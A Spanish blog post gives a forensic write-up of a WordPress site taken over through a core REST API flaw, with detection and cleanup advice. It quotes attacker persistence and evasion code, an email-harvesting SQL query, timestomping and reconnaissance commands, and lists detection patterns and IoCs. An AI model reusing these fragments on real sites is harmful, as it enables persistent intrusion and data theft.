Hace unos días me encontré uno de los WordPress que gestiono con un defacement en la portada, que es como se llama a que un atacante sustituya tu página de inicio por la suya para dejar constancia de que ha estado ahí. Firma “Hacked by CoupDeGrace”. Lo típico: alguien entra, te deja su tarjeta de visita, tú borras el archivo y a otra cosa.

Si has llegado hasta aquí buscando esa frase, es que la tienes delante. Sigue leyendo, porque lo de la portada es lo de menos.
Porque no fue eso. He pasado varios días haciendo el análisis forense completo y lo que había debajo era bastante peor que un defacement: diez días de acceso con ejecución de comandos, dos grupos distintos peleándose por el servidor, persistencia repartida en cuatro sitios diferentes y una fuga de correos de la base de datos.
Escribo esto porque la vulnerabilidad que usaron está en el núcleo de WordPress, no en un plugin abandonado, y afecta a un montón de versiones que mucha gente todavía tiene puestas. En Cómo saber si tu WordPress ha sido hackeado conté por dónde empiezo a mirar cuando sospecho de un sitio, y dejé pendiente entrar en los logs del servidor con más detalle. Esto es esa continuación, con un caso real delante.
Voy a organizarlo alrededor de las cinco preguntas que me hace todo el mundo cuando le pasa esto. Primero las respondo en corto, para quien solo quiera saber si le afecta. Después bajo al detalle técnico, que es donde está lo interesante.
Las cinco preguntas, en corto
¿Cómo se infectó la web? Por una vulnerabilidad del núcleo de WordPress, no de un plugin. Dos fallos encadenados en la API REST (CVE-2026-63030 y CVE-2026-60137) permiten ejecutar código en el servidor sin necesidad de usuario ni contraseña. Afecta a las versiones 6.9.0 a 6.9.4 y 7.0.0 a 7.0.1. Nadie eligió este sitio: hay bots barriendo internet entera.
¿Cómo lo noté y cómo puedo saberlo yo? Lo noté por el defacement, que es la peor forma de enterarte, porque significa que llevas días infectado. Las cinco cosas que puedes mirar hoy mismo: archivos .php en wp-content/uploads/, el contenido de wp-content/mu-plugins/, plugins que tú no instalaste, archivos cdg.txt sueltos, y respuestas con código 207 en los logs de acceso.
¿Qué han hecho los atacantes dentro? Se crearon un administrador, montaron cuatro capas de persistencia (incluida una dentro de la base de datos), falsearon las fechas de todos sus archivos, desactivaron Wordfence, se llevaron todos los correos de la base de datos, montaron un servidor de spam e intentaron saltar a otras webs del mismo servidor.
¿Cómo se limpia? Por orden, y el orden importa más que cualquier otra cosa: primero bajas el sitio, después matas la persistencia que vive fuera de WordPress (crontab, base de datos, /tmp), y solo entonces tocas los archivos. Al revés no funciona: limpias, entra un visitante y la infección vuelve sola.
¿Cómo sé que ha funcionado? Con pruebas activas, no mirando la portada. La más útil es la prueba del guardián. Llamo guardián a un archivo que el atacante deja vigilando, cuyo único trabajo es reponer la puerta trasera en cuanto tú la borras, y la prueba consiste justo en eso: borras la shell, visitas tu web quince veces y compruebas si ha vuelto. Y un aviso que explico más abajo: que el endpoint vulnerable te responda 403 no significa que estés a salvo. Puede significar exactamente lo contrario.
¿Cómo se infectó la web?
Vamos con la parte técnica, en cristiano.
WordPress tiene una API REST. Es la interfaz por la que las aplicaciones externas, el editor de bloques y un montón de plugins hablan con tu sitio. Dentro de esa API hay un endpoint llamado batch, que sirve para agrupar varias operaciones en una sola petición: en vez de mandar cinco peticiones, mandas una con las cinco dentro. Es una optimización razonable.
El problema es que ese endpoint tenía dos fallos encadenados que permitían meter dentro del lote operaciones que un visitante anónimo no debería poder ejecutar, y conseguir que el servidor las ejecutara igualmente. El resultado es ejecución remota de código sin autenticar: sin usuario, sin contraseña, sin nada. Mandas una petición HTTP y el servidor hace lo que le digas.
En este caso, la primera petición que consiguió ejecutar código llegó el 19 de julio a las 07:53:57. Once segundos después el atacante ya había comprobado si el servidor podía mandar correo, había ejecutado id && uname -a && hostname && pwd para saber dónde estaba, y estaba subiendo su primer módulo troceado en base64.
Hay tres cosas que hacen que esto sea grave de verdad.
Está en el núcleo, no en un plugin. No vale con desinstalar nada. Si tienes una versión afectada eres vulnerable, tengas los plugins que tengas y por muy bien mantenida que tengas la web. Esto rompe la regla habitual, porque lo normal es que el 97% de las vulnerabilidades de WordPress estén en plugins.
No hace falta estar registrado. La mayoría de vulnerabilidades de WordPress necesitan que el atacante tenga al menos una cuenta de suscriptor. Esta no.
Se automatiza fácil. Por eso los logs tienen decenas de IPs distintas atacando el mismo sitio: no buscaban esta web en concreto, estaban barriendo internet entera. Una sola IP lanzó 6.849 peticiones en dos horas y media.
Versiones afectadas
| Estado | Versiones |
|---|---|
| Vulnerable | 6.9.0 a 6.9.4 |
| Vulnerable | 7.0.0 a 7.0.1 |
| Parcheado | 6.9.5 y superior |
| Parcheado | 7.0.2 y superior |
Puedes comprobar la tuya en el panel, abajo a la derecha, o mirando el archivo wp-includes/version.php.
El 403 que significa justo lo contrario
Alguien va a leer esto y va a lanzar una petición a su propio /wp-json/batch/v1 para ver qué responde. Cuidado con interpretar el resultado, porque aquí hay una trampa preciosa.
Entre los archivos que encontré había un mu-plugin llamado wp-rest-hardening-18b216a0.php que hacía algo que no me esperaba: bloqueaba el endpoint batch. Devolvía un 403 educadísimo, imitando el mensaje de error estándar de WordPress, a cualquiera que no mandara una cabecera secreta que solo conocía el atacante:
add_action('rest_api_init', function () {
if (is_user_logged_in()) return;
if (strpos($u, '/batch/v1') === false) return;
$h = $_SERVER['HTTP_X_WP_SITE_TOKEN'] ?? '';
$token = 'd16bd1f24e385def1316b43486774c19';
if ($h !== '' && hash_equals($token, $h)) return;
status_header(403);
echo json_encode([
'code' => 'rest_forbidden',
'message' => 'Sorry, you are not allowed to do that.',
]);
exit;
}, 0);
O sea: el atacante parcheó la vulnerabilidad por la que había entrado, para que ningún otro grupo entrara por el mismo sitio. Le puso la puerta con llave a la competencia y se quedó él dentro.
Piensa en lo que significa para ti. Si pruebas tu endpoint y te da 403, la conclusión intuitiva es “estoy protegido”. Pero puede querer decir exactamente lo contrario: que ya estás infectado y que quien lo bloqueó lo hizo desde dentro. No te fíes de esa prueba. Un WordPress parcheado y limpio responde 401, no 403.
¿Cómo lo noté y cómo puedes saberlo tú?
Lo noté por el defacement, y eso ya es una mala noticia en sí misma. Cuando ves la portada cambiada, llevas días infectado. En este caso el primer acceso fue el 19 de julio y el defacement se publicó el 24 a las 03:55. Cinco días de ventaja.
Si tienes prisa, mira estas cinco cosas. Están ordenadas de más fácil a más fiable.
1. Archivos PHP en la carpeta de subidas
wp-content/uploads/ es donde WordPress guarda tus imágenes y tus PDFs. Ahí no debería haber ni un solo archivo .php. Por FTP o por el gestor de archivos del hosting, entra ahí y busca.
Un matiz importante, porque si no vas a pegarte un susto tonto: en este sitio aparecieron 72 archivos .php en uploads/. De esos, 71 eran legítimos, caché del plugin de traducción WPML dentro de uploads/cache/wpml/twig/, con nombres larguísimos de letras y números. Esos son normales.
El malo era uno solo, suelto en la raíz de uploads/, y se llamaba class-wp-cache-41d7f8.php. Fíjate en el nombre. Parece un archivo del núcleo de WordPress. Está elegido a propósito para que pases de largo.
# Lista todo el PHP que hay en uploads, para revisarlo con calma
find wp-content/uploads/ -name '*.php' -type f
2. La carpeta mu-plugins
wp-content/mu-plugins/ es la carpeta de “must-use plugins”. Son plugins que WordPress carga en cada petición, siempre, sin que aparezcan en la lista de plugins del panel y sin que se puedan desactivar desde la administración.
Es el mejor escondite que tiene WordPress y por eso es lo primero que miro. En una instalación normal esa carpeta está vacía o tiene uno o dos archivos que ha puesto tu hosting. En esta había diecinueve archivos. Uno era legítimo. Los otros dieciocho no.
ls -la wp-content/mu-plugins/
Se llamaban cosas como estas:
wp-asset-loader-21d0cda2.php
wp-cache-handler-635fc220.php
wp-core-update-6990786e.php
wp-cron-helper-0d606d55.php
wp-health-check-4087f1de.php
wp-db-optimizer-ce974c.php
wp-rest-hardening-18b216a0.php
Todos con la misma pinta: un nombre plausible de WordPress, un guión y una cadena hexadecimal.
3. Plugins que tú no instalaste
En wp-content/plugins/, busca carpetas cuyo nombre acabe en guión seguido de una cadena aleatoria. En este caso había tres:
media-optimization-core-1fd578/
sgio-wp2shell-13f838eba615/
wp2p_fe13d6d7/
La primera se presentaba en el panel como “Site Performance Toolkit”, versión 2.1.4, autor “WordPress.org Community”. Nombre creíble, descripción creíble, y dentro solo una puerta trasera de 1,3 KB. La segunda lleva literalmente wp2shell en el nombre; esa ni disimula. La tercera pesaba 111 bytes y su única función era escribir un archivo con la palabra “chinafans” dentro.
4. Los marcadores del defacement
Además del archivo de portada, este grupo va dejando archivos cdg.txt de 12 bytes con la palabra CoupDeGrace dentro. Había cuatro, uno en cada carpeta principal:
wp-content/cdg.txt
wp-content/plugins/cdg.txt
wp-content/themes/cdg.txt
wp-content/uploads/cdg.txt
Y en la raíz, cdg.html, ganteng.html y un 0x.txt.
5. Los rastros en los logs
Esto es lo más fiable de todo, porque los archivos se pueden borrar pero los logs de acceso normalmente no. Pide los logs a tu hosting (en los paneles suelen estar como “access logs” o “registros de acceso”) y busca tres cosas.
Respuestas 207. El código 207 (Multi-Status) es rarísimo en un WordPress normal. Si lo ves contra /wp-json/batch/v1 o /?rest_route=/batch/v1, es este ataque. En este sitio hubo 7.011 respuestas 207.
User-Agents con wp2shell. Estas cadenas no aparecen jamás en tráfico legítimo:
wp2shell
wp2shell-rce/1.0
wp2shell-check/1.0
wp2shell-checker
Mozilla/5.0 (compatible; wp2shell-check/1.0)
Mozilla/5.0 (compatible; SiteHealth/1.0)
Los parámetros ?px=, ?ou= y ?sp=. Si aparecen, ya no es que te escanearan: es que te instalaron la persistencia. Y el parámetro ou= te regala además el nombre de usuario del atacante, porque es el que le pasa al dropper para que lo cree:
?px=1&ou=wpsvc_9b9b2ba2be34&sp=media-optimization-core-1fd578
Ese wpsvc_9b9b2ba2be34 era el administrador que se habían creado en la base de datos.
Si tienes acceso por SSH, este barrido te saca lo grueso de una vez:
zgrep -ahE 'batch/v1|wp2shell|[?&]px=|[?&]ou=|[?&]sp=' \
~/logs/*access* | less
Y para ver de un vistazo cuántos 207 tienes y desde dónde vienen:
zgrep -ah 'batch/v1' ~/logs/*access* \
| awk '{print $9}' | sort | uniq -c | sort -rn
¿Qué han hecho los atacantes dentro?
Aquí es donde esto deja de parecerse a lo que la gente imagina cuando dice “me han hackeado la web”.
No era un atacante, eran dos
El atacante subía sus módulos codificados en base64 dentro de la propia URL, así que quedaron enteros en los logs de acceso. Decodificándolos pude reconstruir dos programas que él había borrado del disco después de usarlos.
Uno era un inventariador. El otro, un programa de desalojo. Y los dos llevaban dentro la misma lista de nombres de usuario y dominios de correo, clasificados como rivales:
# Patrones de login marcados como rivales
^wp2_ ^w2s_ ^wp_svc_ ^wordpress_[0-9a-f]{12}$
^Nx_[0-9a-f]{12}$ ^[0-9a-f]{12}$ ^wpadmin[A-Z]{2,}$
^support$ ^admin001$ ^seomanager ^upgrades$ ^super$
# Dominios de correo marcados como rivales
wp2shell.invalid wp2shell.local wordpress-svc.internal
nx.invalid bobresearchlabs.com shellcode.lol local.host
La función del segundo programa era borrar administradores rivales de wp_users y wp_usermeta, purgar sus sesiones y sus contraseñas de aplicación, y hacer unlink() de sus mu-plugins.
Y resultó que los quince mu-plugins que más me habían llamado la atención estaban exactamente en esa lista de rivales. Es decir: la web la habían colonizado dos grupos distintos, cada uno con su infraestructura, y se estaban borrando las puertas traseras el uno al otro dentro del mismo servidor. Los logs del 26 de julio son eso durante tres horas y media: despliegue, borrado, redespliegue.
Esto no es una anécdota, es una consecuencia directa de cómo funcionan estas campañas. Cuando sale una vulnerabilidad del core no hay un atacante: hay muchos, escaneando a la vez. Si estás expuesto te van a encontrar varios. Y para ti importa por una razón muy práctica: si limpias siguiendo la lista de archivos de un solo grupo, te vas a dejar los del otro.
La persistencia estaba en cuatro capas
Los archivos que encontré no eran la infección. Eran la parte visible.
Capa 1: la puerta principal. Un archivo de 1,3 KB dentro del plugin falso. Le pasas un token y un comando por la URL y te lo ejecuta. Prueba seis formas distintas de ejecutar comandos hasta que una funciona: shell_exec, exec, passthru, system, proc_open y popen. Si tu disable_functions bloquea las seis, te lo dice.
Capa 2: los clones. Copias de la shell repartidas por varias carpetas, con nombres que imitan archivos del núcleo (class-wp-compat_eca18b00.php, class-wp-rest-compat-85abe7.php). Tres archivos de 96 KB con el mismo MD5. Borras uno, quedan dos.
Capa 3: los guardianes en mu-plugins. Esto es lo importante. Los archivos de mu-plugins/ se cargan en cada visita a tu web, sin excepción. El único trabajo de estos quince era comprobar si la shell seguía ahí y, si no, volver a copiarla. Borras la shell, entra un visitante cualquiera, y la shell vuelve. En segundos. Además se ocultaban de la vista con un filtro:
add_filter('show_advanced_plugins', function ($s, $t) {
return $t === 'mustuse' ? false : $s;
}, 10, 2);
Capa 4: fuera de WordPress. Y aquí está lo que hace que limpiar archivos no sirva de nada. Había una entrada en el crontab del usuario del sistema:
*/5 * * * * test -f .../class-wp-taxonomy-bd9d4f.php \
|| cp .../uploads/class-wp-cache-2582cf10.php \
.../class-wp-taxonomy-bd9d4f.php
Traducido: cada cinco minutos, comprueba si la shell está; si no está, cópiala otra vez. Eso vive fuera de tu carpeta web. Puedes borrar el WordPress entero y esa línea sigue ahí.
Y todavía había algo peor. Los guardianes tenían tres niveles de recuperación en cascada: primero buscaban el payload en un archivo de /tmp (encontré dieciséis rutas distintas del tipo /tmp/php + cinco caracteres aleatorios), después en una copia dentro de uploads/, y si no encontraban ninguno de los dos, hacían esto:
// Lee las credenciales de tu propio wp-config.php con una regex,
// conecta por PDO y reconstruye el archivo malicioso desde la BD
preg_match("/'DB_PASSWORD'\s*,\s*'([^']*)'/", $config, $m);
$pdo = new PDO("mysql:host=$host;dbname=$name", $user, $pass);
$sql = "SELECT option_value FROM {$pre}options
WHERE option_name = '_site_transient_health_07ab0b44'";
$row = $pdo->query($sql)->fetch();
file_put_contents($destino, base64_decode($row[0]));
O sea: la infección estaba en el disco, en /tmp, en el crontab y dentro de la base de datos, camuflada como una opción normal de WordPress. Si restauras una copia de seguridad de la base de datos posterior al 19 de julio, te reinfectas tú solo.
Añade a eso una tarea de cron de WordPress (wp_cache_health_07ab0b44, horaria) para dispararlo aunque nadie visite la web.
Las fechas mentían
Cuando te hackean, el instinto es ordenar los archivos por fecha de modificación y mirar los más recientes. Aquí eso no servía de nada.
Los dieciocho mu-plugins maliciosos tenían todos exactamente la misma fecha: 26 de febrero de 2026, 14:10. Meses antes del ataque, perfectamente enterrados entre los archivos antiguos. Una de las shells de 96 KB decía ser del 19 de junio.
No es casualidad. El código del atacante hace esto:
@touch($archivo_malicioso,
filemtime(ABSPATH . "wp-includes/plugin.php"));
Copia la fecha de un archivo legítimo del núcleo y se la pone al suyo. Se llama timestomping. Y en los logs se ve que también lo hacía a mano desde la línea de comandos, después de cada despliegue:
touch -r ../../../../wp-includes/version.php \
class-wp-block-renderer-dfcfe8.php
Conclusión práctica: no te fíes de las fechas. Ni para encontrar los archivos malos, ni para determinar cuándo empezó el ataque. Cruza siempre con el contenido y con los logs.
Curiosamente, el timestomping también deja su propia huella: cuando encuentras quince archivos distintos con el mismo mtime al segundo, eso no lo hace un backup ni una actualización. Es una firma.
Desactivaron Wordfence
El sitio tenía Wordfence instalado. Lo encontré así:
wp-content/plugins/wordfence.disabled_1785106358/
wp-content/wflogs.bak_1785106358/
Ese número es una marca de tiempo Unix. Traducida:
date -r 1785106358
# 27 de julio de 2026, 00:52:38
Y coincide al segundo con una sesión del atacante en los logs de acceso. No renombraron las carpetas por casualidad: eligieron el momento, dentro de una secuencia en la que además desplegaron la shell grande y bloquearon el endpoint. Wordfence llevaba ocho días conviviendo con la infección sin avisar de nada.
Por qué un plugin de seguridad no bastó
Esto merece explicación, porque mucha gente paga por uno y da por hecho que le cubre.
Un WAF filtra lo que reconoce. Las peticiones del exploit eran POST perfectamente formados, con JSON válido, contra un endpoint legítimo y documentado de la API de WordPress. No hay comillas raras, no hay union select, no hay ../../. Para un filtro de patrones eso es tráfico normal.
El escáner de integridad compara contra el núcleo y contra el repositorio de plugins. Un plugin inventado como media-optimization-core-1fd578 no existe en el repositorio de WordPress, así que no hay nada con lo que compararlo. Y los archivos maliciosos estaban dentro de esa carpeta, no en wp-admin ni en wp-includes, que es donde la comprobación de integridad sí detecta cambios.
Los nombres estaban elegidos para pasar la revisión humana. class-wp-rest-compat-85abe7.php dentro de una carpeta de plugin no le llama la atención a nadie.
Las fechas estaban falseadas, así que tampoco salían al ordenar por reciente.
Y el plugin no puede defenderse de que lo apaguen. En el momento en que el atacante tiene ejecución de comandos en el servidor, tu plugin de seguridad es un directorio más que puede renombrar. Que es exactamente lo que hizo.
No te estoy diciendo que quites Wordfence. Te estoy diciendo que un plugin de seguridad protege contra ataques conocidos, no contra un atacante que ya está dentro con permisos de ejecución. Son dos problemas distintos y hay que resolverlos con herramientas distintas.
Lo que se llevaron
Esto es lo que más me importa que se entienda, porque es lo que casi nadie mira. El defacement es ruido. Lo grave estaba en los comandos, y los tengo todos porque el atacante los pasaba por la URL y quedaron registrados.
Se llevaron todos los correos de la base de datos. El 19 de julio a las 12:42, seis horas después de entrar, leyeron las credenciales de wp-config.php y lanzaron esto:
SELECT user_email FROM wp_users
UNION SELECT DISTINCT comment_author_email FROM wp_comments
WHERE comment_author_email != ''
UNION SELECT DISTINCT meta_value FROM wp_postmeta
WHERE meta_key = '_billing_email';
Usuarios registrados, autores de comentarios y, como el sitio tiene WooCommerce, los correos de facturación de los pedidos. Eso es una brecha de datos personales, no un defacement. Si tienes clientes en la UE, esto tiene implicaciones legales que hay que valorar con quien corresponda. Yo no soy abogado y no te voy a decir lo que tienes que hacer, pero no lo dejes pasar por alto: mucha gente limpia la shell, ve la portada bien otra vez y no se plantea que le hayan vaciado la tabla de usuarios.
Tenían las credenciales de la base de datos. Y como las pasaron por la línea de comandos a través de la URL, acabaron escritas en texto plano en los propios logs de acceso. Esto tiene una consecuencia incómoda: si estás en esta situación, tus logs son ahora material sensible. No los subas a ningún sitio, no se los pases a nadie sin revisarlos y ten cuidado con dónde guardas el paquete forense. Yo me he encontrado la contraseña de la base de datos en cuatro archivos distintos de mi propio análisis.
Montaron un servidor de correo. Encontré rastro de un módulo (mta-19310704.php) con tres métodos de envío en cascada: tubería a sendmail, socket SMTP directo contra localhost y la función mail() de PHP como último recurso, con soporte de adjuntos, HTML y cabeceras personalizadas. Es un motor de spam completo, y lo redesplegaron una segunda vez el 27 de julio. Traducción: el dominio y la IP del servidor estuvieron mandando correo basura, con lo que eso le hace a tu reputación de envío.
Intentaron saltar a otras webs del servidor. El 27 de julio a las 21:57 ejecutaron un find / buscando su propio archivo por todo el sistema, y después fueron probando a escribir en las rutas típicas de otros alojamientos:
find / -name "class-wp-rest-compat-85abe7.php" 2>/dev/null
test -f /var/www/html/... && echo YES || echo NO
test -f /home/*/public_html/... && echo YES || echo NO
En este caso no lo consiguieron, pero la intención está documentada al segundo. Si tienes varias webs en la misma cuenta de hosting, asume que están todas afectadas hasta que compruebes lo contrario. En este servidor había cinco dominios más, y los cinco respondieron 207 al exploit inicial: eran vulnerables. Lo que no hubo en ellos es post-explotación.
¿Cómo se quita?
Por orden. Y con una advertencia previa: si haces solo los pasos 3 y 4 y te saltas el resto, en cinco minutos estás igual que al principio. Esta es la parte donde más gente se equivoca, y no por falta de conocimientos técnicos, sino por hacer las cosas en el orden equivocado.
0. Antes de tocar nada, haz una copia
Copia completa de los archivos y de la base de datos, tal como están ahora, aunque estén infectados. Es tu evidencia, y si te cargas algo limpiando la vas a necesitar. Guárdala fuera del servidor.
tar czf ~/evidencia-$(date +%F).tar.gz public_html/
mysqldump -u USUARIO -p BASE_DE_DATOS \
| gzip > ~/evidencia-bd-$(date +%F).sql.gz
Y guarda los logs. Sobre todo los logs. Son la mitad de este artículo.
1. Baja el sitio
Modo mantenimiento, o una regla que bloquee todo el tráfico salvo tu IP. Mientras el sitio siga sirviendo peticiones, los guardianes de mu-plugins/ se siguen ejecutando en cada visita y restaurando la shell.
Este paso no es opcional. Es la razón por la que la gente limpia y dice que “vuelve a aparecer”. No vuelve a aparecer: es que nunca se fue.
2. Mata la persistencia de fuera de WordPress
Antes que los archivos. Este es el paso que casi todo el mundo se salta.
El crontab:
crontab -l
Busca cualquier línea que mencione rutas de tu web, cp, curl, wget o archivos con nombres tipo class-wp-*. Borra las que no reconozcas con crontab -e. Mira también /etc/cron.d/ y /var/spool/cron/ si tienes acceso. Si estás en Plesk, las tareas también viven en su base de datos, así que pídele a tu proveedor que las revise.
Si no tienes SSH, mira la sección de tareas programadas del panel y pide explícitamente a tu hosting que revise el crontab del usuario del sistema. Díselo con esas palabras.
El directorio temporal:
ls -la /tmp/php* 2>/dev/null
La base de datos. Busca opciones sospechosas, y mira primero antes de borrar:
SELECT option_name, LENGTH(option_value) AS bytes
FROM wp_options
WHERE option_name LIKE '_site_transient_health_%'
OR option_value LIKE '%base64_decode%'
OR option_value LIKE '%eval(%'
ORDER BY bytes DESC
LIMIT 50;
Cualquier opción con un valor enorme y contenido en base64 que no reconozcas, fuera. Revisa también la opción cron buscando tareas programadas que no sean tuyas.
Las claves SSH:
cat ~/.ssh/authorized_keys
Si hay alguna clave que no reconoces, ya sabes cómo van a volver a entrar.
3. Limpia los archivos
Borra enteras las carpetas de plugin que no instalaste tú. Enteras, no los archivos de dentro.
Vacía wp-content/mu-plugins/ dejando solo lo que reconozcas como tuyo o de tu hosting. Si no reconoces nada, vacíala del todo: la mayoría de instalaciones no necesitan esa carpeta para nada.
Borra todo el .php que haya en wp-content/uploads/, salvo la caché de plugins que tengas identificada como legítima.
Revisa los .htaccess. Busca los que fuercen la ejecución de PHP donde no toca:
<Files *.php>
Order Allow,Deny
Allow from all
</Files>
Ese bloque dentro de una carpeta de plugin o de uploads es del atacante. En este caso lo escribió el 26 de julio para asegurarse de que sus archivos se ejecutaban aunque el servidor tuviera restricciones.
Borra los archivos de defacement de la raíz (cdg.html, ganteng.html, 0x.txt) y los cdg.txt de wp-content/, plugins/, themes/ y uploads/.
Para encontrar lo que se te haya pasado, busca por contenido y no por fecha:
grep -rl --include='*.php' \
-E 'shell_exec|passthru|proc_open|base64_decode\(\$_' \
wp-content/uploads/ wp-content/mu-plugins/ wp-content/plugins/
4. Reinstala el núcleo y los plugins
No los actualices: reinstálalos. Actualizar sobrescribe unos archivos pero deja intactos los que el atacante haya añadido.
wp core download --force --version=7.0.2
wp core verify-checksums
wp plugin verify-checksums --all
Si no tienes wp-cli, descarga WordPress limpio de wordpress.org y sustituye wp-admin/ y wp-includes/ enteras, más los archivos wp-*.php de la raíz (todos menos wp-config.php). Con los plugins igual: borrar la carpeta y reinstalar desde cero.
Y ojo con esto, porque es el dato que más me marcó de todo el análisis: actualizar el core no cierra el incidente. En este caso el core se actualizó a la versión parcheada a las 13:06, y a las 13:14 la persistencia seguía escribiendo archivos. Ocho minutos después. Parchear cierra la puerta por la que entraron; no echa a quien ya está dentro.
5. Limpia los usuarios
En el panel, Usuarios, filtra por Administrador y revísalos uno a uno. Busca sobre todo correos con dominios que no existen y nombres de usuario con patrones raros.
SELECT u.ID, u.user_login, u.user_email, u.user_registered
FROM wp_users u
JOIN wp_usermeta m ON u.ID = m.user_id
WHERE m.meta_key = 'wp_capabilities'
AND m.meta_value LIKE '%administrator%';
Cualquiera que no reconozcas, fuera, y borra también sus filas en wp_usermeta (si borras solo de wp_users dejas basura que puede resucitar el usuario).
Un aviso: si en algún momento te ves desconectado de tu propio WordPress sin motivo, no es casualidad. El código de este ataque incluye esto:
DELETE FROM wp_usermeta
WHERE meta_key = 'session_tokens'
AND user_id NOT IN (
SELECT ID FROM wp_users WHERE user_login = 'SU_USUARIO'
);
Cierra la sesión de todo el mundo menos la suya. Y hace lo mismo con las contraseñas de aplicación.
6. Cambia todas las contraseñas
Todas. No solo la de WordPress.
- Usuarios de WordPress, empezando por los administradores.
- Panel del hosting.
- FTP y SFTP.
- SSH, y revisa
~/.ssh/authorized_keys. - La base de datos, cambiándola también en
wp-config.php. - Cuentas de correo del dominio.
- Claves de API que tuvieras en
wp-config.phpo en la configuración de plugins.
La de la base de datos es la que más se olvida y en este caso era de las más urgentes: la leyeron el primer día.
7. Regenera las claves de seguridad
En wp-config.php hay ocho constantes: AUTH_KEY, SECURE_AUTH_KEY, LOGGED_IN_KEY, NONCE_KEY, AUTH_SALT, SECURE_AUTH_SALT, LOGGED_IN_SALT y NONCE_SALT.
wp config shuffle-salts
# o, a mano:
curl https://api.wordpress.org/secret-key/1.1/salt/
Copia el bloque entero y sustituye el que tienes. Esto invalida todas las sesiones abiertas, incluidas las del atacante. Si no lo haces, una cookie de sesión robada le sigue valiendo aunque hayas cambiado todas las contraseñas.
8. Revisa Search Console y las listas negras
Un sitio comprometido suele acabar con páginas de spam indexadas, y eso te penaliza en buscadores mucho después de haber limpiado.
- Problemas de seguridad: si hay aviso, arréglalo y pide revisión desde ahí mismo.
- Cobertura / Páginas: busca URLs indexadas que no existan en tu sitio.
- Rendimiento: filtra por consultas y busca términos que no tengan nada que ver contigo. Si aparece vocabulario de farmacia, casinos o réplicas, tienes spam indexado.
- Haz una búsqueda
site:tudominio.comy mírate las últimas páginas de resultados.
Si encuentras spam indexado, elimina las páginas, devuelve 410 en esas URLs y usa la herramienta de retirada para acelerar. Y comprueba si tu dominio o la IP del servidor han acabado en listas negras de correo, por lo del módulo de spam.
¿Cómo sé que de verdad está limpio?
Esta es la pregunta que menos gente se hace y la más importante de todas, porque el fallo típico no es limpiar mal: es dar por terminado algo que sigue vivo. Mirar la portada y ver que ya no pone “Hacked by” no prueba absolutamente nada.
Estas son las comprobaciones que hago, más o menos en este orden.
La prueba del guardián. Es la más útil y la más barata. Deja el sitio accesible, borra una de las shells que has identificado, y visita tu web quince o veinte veces desde el navegador. Espera diez minutos. Si el archivo ha vuelto, te queda persistencia activa y hay que volver al paso 2 de la limpieza. Casi siempre es el crontab o la base de datos.
El señuelo. La versión ampliada de lo anterior. Crea un archivo cualquiera en mu-plugins/, apunta el listado completo de la carpeta, y vuelve a mirarlo pasadas unas horas. Cualquier archivo que aparezca solo es un guardián que se te escapó.
ls -la wp-content/mu-plugins/ > ~/mu-plugins-referencia.txt
# unas horas después
diff <(ls -la wp-content/mu-plugins/) ~/mu-plugins-referencia.txt
El endpoint debe dar 401, no 403. Ya lo conté arriba, pero lo repito aquí porque es contraintuitivo y se presta a un falso alivio:
curl -s -o /dev/null -w '%{http_code}\n' \
-X POST 'https://tudominio.com/?rest_route=/batch/v1'
Un 401 es lo correcto: el core parcheado te pide autenticación. Un 207 significa que sigues siendo vulnerable. Y un 403 es mala señal, porque el mensaje de rechazo puede venir del mu-plugin del atacante y no de WordPress.
Integridad contra el repositorio oficial. Esto sí detecta modificaciones en el core y en plugins del repositorio, que es justo lo que un escaneo por firmas se puede dejar:
wp core verify-checksums
wp plugin verify-checksums --all
Un barrido por contenido. Los escáneres basados en reglas YARA buscan patrones de código malicioso en lugar de comparar contra un original, así que cazan cosas que la comprobación de integridad no ve. Para este caso escribí un juego de reglas que detecta la cadena de seis funciones de ejecución, la ofuscación por XOR carácter a carácter, el patrón de autorreparación de los mu-plugins y los marcadores del defacement. Si no quieres montar YARA, un grep por los tokens de la sección siguiente te resuelve el 80%.
Un apunte: estos escaneos comen recursos del servidor. Lánzalos en horas de poca actividad.
Vuelve a mirar /tmp, el crontab y wp_options pasadas unas horas. No una vez: dos o tres veces a lo largo de un par de días.
Deja una vigilancia puesta. Un cron tuyo que te avise si aparece cualquier archivo nuevo en mu-plugins/ o cualquier .php en uploads/ cuesta cinco minutos y te ahorra el próximo susto:
0 * * * * find /ruta/wp-content/mu-plugins \
/ruta/wp-content/uploads -name '*.php' -newermt '-1 hour' \
| grep . \
&& echo "PHP nuevo detectado" | mail -s "Alerta WP" tu@correo.com
Y si tu hosting te deja, bloquea directamente la ejecución de PHP en uploads/. Es una línea de configuración y cierra una categoría entera de problemas.
Cuándo tirar por la vía rápida
Voy a ser honesto: hay casos en los que la limpieza quirúrgica no compensa. Si el ataque lleva días activo, hubo ejecución de comandos, y no tienes acceso por SSH para revisar el crontab y /tmp, estás limpiando a ciegas dos de las cuatro capas.
En ese escenario sale más a cuenta lo siguiente: servidor nuevo o cuenta de hosting nueva, WordPress limpio instalado desde cero, plugins reinstalados desde el repositorio oficial, y migrar solo el contenido: entradas, páginas, medios revisados uno a uno, y la base de datos después de limpiarla. Es más trabajo un día, pero te ahorra el mes siguiente preguntándote si queda algo.
Indicadores de compromiso
Esto es para quien esté revisando un sitio con la misma pinta. Un aviso antes: los tokens y hashes son específicos de esta instalación, no te van a servir tal cual en otro sitio. Lo reutilizable son los patrones, los nombres de archivo y los User-Agents.
Tokens y constantes:
83ac137dd9401bb746d8198bb48239cd # token de la puerta principal (?t=)
a658f083b6bf7520f3d1eb443ac07c7d # token de la shell de 96 KB
d16bd1f24e385def1316b43486774c19 # X-WP-Site-Token del mu-plugin de bloqueo
d6a010c8e24924652416dda8 # ruta REST de sgio-wp2shell
108a2352362bfcced6f7af27 # marcador de respuesta de sgio-wp2shell
sm_583604db690f # clave del módulo de correo
sm_rce_596e4de292 # ídem, tras el redespliegue
wpsvc_9b9b2ba2be34 # usuario administrador del atacante
wordpress-svc.internal # dominio de correo del admin del atacante
_site_transient_health_07ab0b44 # opción de wp_options, payload base64
wp_cache_health_07ab0b44 # hook de cron de WordPress
WP_Option_Cache_Monitor # clase de la shell
_wp_cuh_restore # autorreparación (mu-plugins)
_w2s_exec # ejecución de sgio-wp2shell
Hashes MD5:
27f96d1d364f71b99195ff0f074c424d dropper, 1.299 B
736d4ef339da43076a3508efd7310fff orquestador, 3.755 B
8b33c2907e77941e40cb8b1611f2c345 shell, 96.546 B (x3)
6e7f7cb695856a6772852894247c1f2d desalojo (reconstruido)
ff75b4abbe44ec402fcbcac06f5d9e97 verificador (reconstruido)
Patrones de nombre de archivo:
# En wp-content/plugins/
media-optimization-core-1fd578/ wp2p_fe13d6d7/
